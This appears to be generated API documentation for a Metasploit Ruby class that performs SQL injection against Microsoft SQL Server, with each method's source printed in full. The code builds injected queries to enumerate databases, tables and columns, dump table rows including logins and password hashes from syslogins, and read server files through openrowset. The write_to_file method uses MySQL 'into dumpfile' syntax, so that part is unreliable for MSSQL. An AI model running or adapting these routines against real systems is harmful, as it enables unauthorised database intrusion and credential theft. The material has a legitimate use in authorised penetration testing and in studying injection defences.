Class: Msf::Exploit::SQLi::Mssqli::Common
- Defined in:
- lib/msf/core/exploit/sqli/mssqli/common.rb
Direct Known Subclasses
Constant Summary collapse
- ENCODERS =
Encoders supported by Microsoft SQL Server Keys are MSSQL function names, values are decoding procs in Ruby
{ hex: { encode: 'master.dbo.fn_varbintohexstr(CAST(^DATA^ as varbinary(max)))', decode: proc { |data| Rex::Text.hex_to_raw(data.start_with?('0x') ? data[2..-1] : data) } } }.freeze
Instance Attribute Summary
Attributes inherited from Common
#concat_separator, #datastore, #framework, #null_replacement, #safe, #second_concat_separator, #truncation_length
Attributes included from Rex::Ui::Subscriber::Input
Attributes included from Rex::Ui::Subscriber::Output
Instance Method Summary collapse
-
#current_database ⇒ Object
Query the current database name @return [String] The name of the current database.
-
#current_user ⇒ Object
Query the current user @return [String] The username of the current user.
-
#dump_table_fields(table, columns, condition = '', num_limit = 0) ⇒ Object
Query the given columns of the records of the given table, that satisfy an optional condition @param table [String] The name of the table to query @param columns [Array] The names of the columns to query @param condition [String] An optional condition, return only the rows satisfying it @param num_limit [Integer] An optional maximum number of results to return @return [Array] An array, where each element is an array of strings representing a row of the results.
-
#enum_database_names ⇒ Object
Query the names of all the existing databases @return [Array] An array of Strings, the database names.
-
#enum_dbms_users ⇒ Array
Query the mssql users (their username and password), this might require root privileges.
-
#enum_table_columns(table_name) ⇒ Object
Query the column names of the given table in the given database @param table_name [String] the name of the table of which you want to query the column names, can be: database.table @return [Array] An array of Strings, the column names in the given table belonging to the given database.
-
#enum_table_names(database = '') ⇒ Object
Query the names of the tables in a given database @param database [String] the name of a database, or nil or an empty string for the current database @return [Array] An array of Strings, the table names in the given database.
- #enum_view_names(database = '') ⇒ Object
-
#hostname ⇒ Object
Query the hostname @return [String] The hostname of the server running Microsoft SQL Server.
-
#initialize(datastore, framework, user_output, opts = {}, &query_proc) ⇒ Common
constructor
See SQLi::Common#initialize.
-
#read_from_file(fpath, binary = false) ⇒ String
Attempt reading from a file on the filesystem.
-
#test_vulnerable ⇒ Object
Checks if the target is vulnerable (if the SQL injection is working fine), by checking that queries that should return known results return the results we expect from them.
-
#version ⇒ Object
Query the Microsoft SQL Server version @return [String] The Microsoft SQL Server version in use.
-
#write_to_file(fpath, data) ⇒ Object
Attempt writing data to the file at the given path.
Methods inherited from Common
Methods included from Module::UI
Methods included from Module::UI::Message
#print_error, #print_good, #print_prefix, #print_status, #print_warning
Methods included from Module::UI::Message::Verbose
#vprint_error, #vprint_good, #vprint_status, #vprint_warning
Methods included from Module::UI::Line
#print_line, #print_line_prefix
Methods included from Module::UI::Line::Verbose
Methods included from Rex::Ui::Subscriber
Methods included from Rex::Ui::Subscriber::Input
Methods included from Rex::Ui::Subscriber::Output
#flush, #print, #print_blank_line, #print_error, #print_good, #print_line, #print_status, #print_warning
Constructor Details
#initialize(datastore, framework, user_output, opts = {}, &query_proc) ⇒ Common
See SQLi::Common#initialize
25 26 27 28 29 30 31 32 33 |
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 25 def initialize(datastore, framework, user_output, opts = {}, &query_proc) opts[:concat_separator] ||= ',' if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol) # if it's a String or a Symbol, use a predefined encoder if it exists opts[:encoder] = opts[:encoder].downcase.intern opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]] end super end |
Instance Method Details
#current_database ⇒ Object
Query the current database name
@return [String] The name of the current database
47 48 49 |
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 47 def current_database call_function('DB_NAME()') end |
#current_user ⇒ Object
Query the current user
@return [String] The username of the current user
62 63 64 |
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 62 def current_user call_function('user_name()') end |
#dump_table_fields(table, columns, condition = '', num_limit = 0) ⇒ Object
Query the given columns of the records of the given table, that satisfy an optional condition
@param table [String] The name of the table to query
@param columns [Array] The names of the columns to query
@param condition [String] An optional condition, return only the rows satisfying it
@param num_limit [Integer] An optional maximum number of results to return
@return [Array] An array, where each element is an array of strings representing a row of the results
123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 |
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 123 def dump_table_fields(table, columns, condition = '', num_limit = 0) return '' if columns.empty? columns = columns.map do |col| col = "cast(isnull(#{col},'#{@null_replacement}') as varchar(max))" @encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col end.join("+'#{@second_concat_separator}'+") unless condition.empty? condition = ' where ' + condition end num_limit = num_limit.to_i limit = num_limit > 0 ? " top #{num_limit}" : '' retrieved_data = nil identifier_generator = Rex::RandomIdentifier::Generator.new if @safe # no group_concat, leak one row at a time count_item = 'cast(count(1) as varchar(max))' count_item = @encoder ? @encoder[:encode].sub(/\^DATA\^/, count_item) : count_item row_count = run_sql("select #{count_item} from #{table}#{condition}") row_count = @encoder ? @encoder[:decode].call(row_count).to_i : row_count.to_i num_limit = row_count if num_limit == 0 || row_count < num_limit # generate a random alias for every column name item_alias, row_alias, tab_alias = 3.times.map { identifier_generator.generate } retrieved_data = num_limit.times.map do |current_row| if @truncation_length truncated_query("select top(1) substring(#{item_alias},^OFFSET^,#{@truncation_length}) from (select #{columns} #{item_alias},ROW_NUMBER() over (order by (select 1)) #{row_alias} from #{table}#{condition}) #{tab_alias} where #{row_alias}=#{current_row + 1}") else run_sql("select top(1) #{item_alias} from (select #{columns} #{item_alias},ROW_NUMBER() over (order by (select 1)) #{row_alias} from #{table}#{condition}) #{tab_alias} where #{row_alias}=#{current_row + 1}") end end elsif num_limit > 0 # if limit > 0, an alias will be necessary alias1, alias2 = 2.times.map { identifier_generator.generate } if @truncation_length retrieved_data = truncated_query("select substring(string_agg(#{alias1}, '#{@concat_separator}')," \ "^OFFSET^,#{@truncation_length}) from (select #{limit}#{columns} #{alias1} from #{table}"\ "#{condition}) #{alias2}").split(@concat_separator || ',') else retrieved_data = run_sql("select string_agg(#{alias1},'#{@concat_separator}')"\ " from (select #{limit}#{columns} #{alias1} from #{table}#{condition}) #{alias2}").split(@concat_separator || ',') end elsif @truncation_length retrieved_data = truncated_query("select #{limit}substring(string_agg(#{columns},'#{@concat_separator}')," \ "^OFFSET^,#{@truncation_length}) from #{table}#{condition}").split(@concat_separator || ',') else retrieved_data = run_sql("select #{limit}string_agg(#{columns},'#{@concat_separator}')" \ " from #{table}#{condition}").split(@concat_separator || ',') end retrieved_data.map do |row| row = row.split(@second_concat_separator) @encoder ? row.map { |x| @encoder[:decode].call(x) } : row end end |
#enum_database_names ⇒ Object
Query the names of all the existing databases
@return [Array] An array of Strings, the database names
70 71 72 |
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 70 def enum_database_names dump_table_fields('master..sysdatabases', %w[name]).flatten end |
#enum_dbms_users ⇒ Array
Query the mssql users (their username and password), this might require root privileges.
93 94 95 96 |
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 93 def enum_dbms_users # might require root privileges dump_table_fields('master..syslogins', %w[name password]) end |
#enum_table_columns(table_name) ⇒ Object
Query the column names of the given table in the given database
@param table_name [String] the name of the table of which you want to query the column names, can be: database.table
@return [Array] An array of Strings, the column names in the given table belonging to the given database
103 104 105 106 107 108 109 110 111 112 113 |
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 103 def enum_table_columns(table_name) table_schema_condition = '' if table_name.include?('.') database, table_name = table_name.split(/\.{1,2}/) database += '..' else database = '' end dump_table_fields("#{database}syscolumns", %w[name], "id=(select id from #{database}sysobjects where name='#{table_name}')").flatten end |
#enum_table_names(database = '') ⇒ Object
Query the names of the tables in a given database
@param database [String] the name of a database, or nil or an empty string for the current database
@return [Array] An array of Strings, the table names in the given database
79 80 81 82 |
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 79 def enum_table_names(database = '') sysobjects_tbl = "#{database.nil? || database.empty? ? '' : database + '..'}sysobjects" dump_table_fields(sysobjects_tbl, %w[name], "xtype='U'").flatten end |
#enum_view_names(database = '') ⇒ Object
84 85 86 87 |
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 84 def enum_view_names(database = '') sysobjects_tbl = "#{database.nil? || database.empty? ? '' : database + '..'}sysobjects" dump_table_fields(sysobjects_tbl, %w[name], "xtype='V'").flatten end |
#hostname ⇒ Object
Query the hostname
@return [String] The hostname of the server running Microsoft SQL Server
55 56 57 |
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 55 def hostname call_function('@@SERVERNAME') end |
#read_from_file(fpath, binary = false) ⇒ String
Attempt reading from a file on the filesystem
204 205 206 207 208 209 210 211 212 213 214 215 |
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 204 def read_from_file(fpath, binary=false) alias1 = Rex::Text.rand_text_alpha(1) + Rex::Text.rand_text_alphanumeric(5..11) expr = @encoder ? @encoder[:encode].sub(/\^DATA\^/, 'BulkColumn') : 'BulkColumn' output = if @truncation_length truncated_query("select substring(#{expr},^OFFSET^,#{@truncation_length}) " \ "from openrowset(bulk N'#{fpath}',SINGLE_CLOB) as #{alias1}") else run_sql("select #{expr} from openrowset(bulk N'#{fpath}',SINGLE_CLOB) as #{alias1}") end output = @encoder[:decode].call(output) if @encoder output end |
#test_vulnerable ⇒ Object
Checks if the target is vulnerable (if the SQL injection is working fine), by checking that queries that should return known results return the results we expect from them
182 183 184 185 186 187 188 189 190 |
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 182 def test_vulnerable random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10) random_string = Rex::Text.rand_text_alphanumeric(random_string_len) query_string = "'#{random_string}'" query_string = @encoder[:encode].sub(/\^DATA\^/, query_string) if @encoder output = run_sql("select #{query_string}") return false if output.nil? (@encoder ? @encoder[:decode].call(output) : output) == random_string end |
#version ⇒ Object
Query the Microsoft SQL Server version
@return [String] The Microsoft SQL Server version in use
39 40 41 |
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 39 def version call_function('@@VERSION') end |
#write_to_file(fpath, data) ⇒ Object
Attempt writing data to the file at the given path
195 196 197 |
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 195 def write_to_file(fpath, data) run_sql("select '#{data}' into dumpfile '#{fpath}'") end |